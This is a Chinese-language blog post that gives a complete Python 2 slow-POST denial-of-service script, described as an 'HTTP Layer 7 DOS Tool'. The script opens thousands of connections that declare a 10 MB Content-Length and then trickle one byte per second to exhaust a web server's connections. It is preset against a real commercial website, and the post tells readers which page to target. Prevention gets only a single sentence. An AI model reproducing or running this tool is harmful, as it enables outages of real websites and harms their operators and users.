Web应用层DDOS工具编写与分析

今天兴趣来了,顺手也写了个python脚本。效果果然不错。感兴趣的童鞋拿过去研究下吧。

原理就如大牛所说的:
“POST的时候,指定一个非常大的content-length,然后以很低的速度发包,比如10-100s发一个字节,hold住这个连接不断开。这样当客户端连接多了后,占用住了webserver的所有可用连接,从而导致DOS。”

关于防范的话,我想应该从限制单个ip的并发连接数下手吧。

 

  1. ###
  2. ### HTTP Layer 7 DOS Tool v1.0
  3. ### Writen by dklkt (http:www.dklkt.cn/)
  4. ### 2010.11.24
  5. ###
  6. import sys
  7. import struct
  8. import socket
  9. import time
  10. import threading
  11. #———————————-
  12. MAX_CONN = 20000
  13. IP = “202.102.75.163″
  14. PORT = 80
  15. HOST = “www.sina.com.cn”
  16. PAGE = “/”
  17. #———————————-
  18. buf=(“POST %s HTTP/1.1\r\n”
  19. “Host: %s\r\n”
  20. “Content-Length: 10000000\r\n”
  21. “Cookie: dklkt_dos_test\r\n”
  22. “\r\n” % (PAGE,HOST))
  23. socks = []
  24. def conn_thread():
  25. global socks
  26. for i in range(0,MAX_CONN):
  27. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  28. try:
  29. s.connect((HOST,PORT))
  30. s.send(buf)
  31. print “Send buf ok! conn=%d\n”%i
  32. socks.append(s)
  33. except Exception,e:
  34. print “Could not connect to server or send error:%s”%e
  35. time.sleep(10)
  36. #sys.exit(0)
  37. #end def
  38. def send_thread():
  39. global socks
  40. while True:
  41. for s in socks:
  42. try:
  43. s.send(“f”)
  44. #print “sendok!”
  45. except Exception,e:
  46. print “Send Exception:%s\n”%e
  47. socks.remove(s)
  48. s.close()
  49. time.sleep(1)
  50. #end def
  51. conn_th=threading.Thread(target=conn_thread,args=())
  52. send_th=threading.Thread(target=send_thread,args=())
  53. conn_th.start()
  54. send_th.start()

用法:

填好下面的内容即可。
MAX_CONN = 20000
IP = “202.102.75.163″
PORT = 80
HOST = “www.sina.com.cn”
PAGE = “/”

其中PAGE填要D的页面,比如dz的可以填PAGE=”/bbs/post.php”

from:http://www.yunsec.net/a/special/wlgf/wlgj/2011/0107/7914.html

Web应用层DDOS工具编写与分析》上有1条评论

发表评论

电子邮件地址不会被公开。

您可以使用这些HTML标签和属性: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>